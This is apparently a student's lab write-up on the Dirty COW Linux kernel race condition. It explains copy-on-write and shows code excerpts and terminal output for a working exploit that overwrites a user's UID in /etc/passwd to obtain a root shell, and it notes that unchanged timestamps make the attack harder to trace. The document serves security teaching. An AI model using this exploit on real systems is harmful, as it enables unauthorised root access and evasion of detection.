Assignment 1B – Dirty COW attack

2.5 cow_attack.c

Results after running the compiled *cow_attack.c*.

The read-only */zzz* file owned by root was modified by *cow_attack.c* running under a non-root account.

'11111122222233333' was changed to '111111******33333'. The file creation and access times remain unchanged.

Explain how the file modification is achieved.

Copy On Write (COW) is intended primarily to be a performance optimization. Operations that request a copy of a section of memory do not actually receive their own copy unless they make a change to that memory. When that happens, COW quickly creates a copy, makes the change requested, and passes it back to the operation. This means the CPU does not need to spend cycles creating unnecessary copies until it is actually required.

In this process, a race condition can happen when two different processes try to access the same resource. When it occurs, the memory location is flagged to be *writeable* before a copy meant for modification is created. This means the original memory resource can be changed.

In *dirty_cow.c*, the target file is first mapped to COW memory, following which, two POSIX threads (*pthread*) are created.

```
// map to COW memory
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
…
// create two POSIX threads to run simultaneously
pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
```

The *write* thread repeatedly requests a modification to the contents of the memory, triggering COW to create a copy for modification.

```
void *writeThread(void *arg)
{
  char *content= "******";
  // offset contains the position of the target string "222222"
  off_t offset = (off_t) arg;

  // open the memory location for read/write
  int f=open("/proc/self/mem", O_RDWR);
  // the memory modification is carried out on repeat
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}
```

The *madvise* thread repeatedly discards the copy created for modification so that the page table will point back to the original memory.

```
void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  // repeatedly make the madvise() mark the memory position
  // to not expect access so the kernel can free up resources
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
```

When the race condition occurs, the *write* thread will end up modifying the original mapped memory, ultimately resulting in a changed read-only file.

3. Modify the Password File to Gain Root Privilege

Modifying *cow_attack.c*

The target file was changed to */etc/passwd*.

```
int f=open("/etc/passwd", O_RDONLY);
```

The target string was changed to '*<username>:x:1001*'.

```
char *position = strstr(map, "<username>:x:1001");
```

The content to be written was changed to '*<username>:x:0000*'.

```
char *content= "<username:x:0000";
```

The file was compiled and run similar to the previous demonstration, resulting in a modified */etc/passwd* file.

```
[02/07/2019 00:59] seed@ubuntu:~/work/01/cow$ gcc root_attack.c -lpthread
[02/07/2019 00:59] seed@ubuntu:~/work/01/cow$ a.out
^C
[02/07/2019 00:59] seed@ubuntu:~/work/01/cow$ cat /etc/passwd | grep edison
edison:x:0000:1002:,,,:/home/edison:/bin/bash
[02/07/2019 00:59] seed@ubuntu:~/work/01/cow$ su edison
Password:
root@ubuntu:/home/seed/work/01/cow# id
uid=0(root) gid=1002(edison) groups=0(root),1002(edison)
root@ubuntu:/home/seed/work/01/cow# ls -l /etc/passwd
-rw-r--r-- 1 root root 2038 Feb  7 00:56 /etc/passwd
root@ubuntu:/home/seed/work/01/cow# ls -lu /etc/passwd
-rw-r--r-- 1 root root 2038 Feb  7 00:56 /etc/passwd
root@ubuntu:/home/seed/work/01/cow# rm /zzz
root@ubuntu:/home/seed/work/01/cow#
```

The user was granted root privilege and is able to carry out commands requiring root permissions without *sudo* (e.g. *rm /zzz*).

The file creation and access times for */etc/passwd* remain unchanged as the kernel does not detect that the file was modified, making it more difficult to trace the time of attack.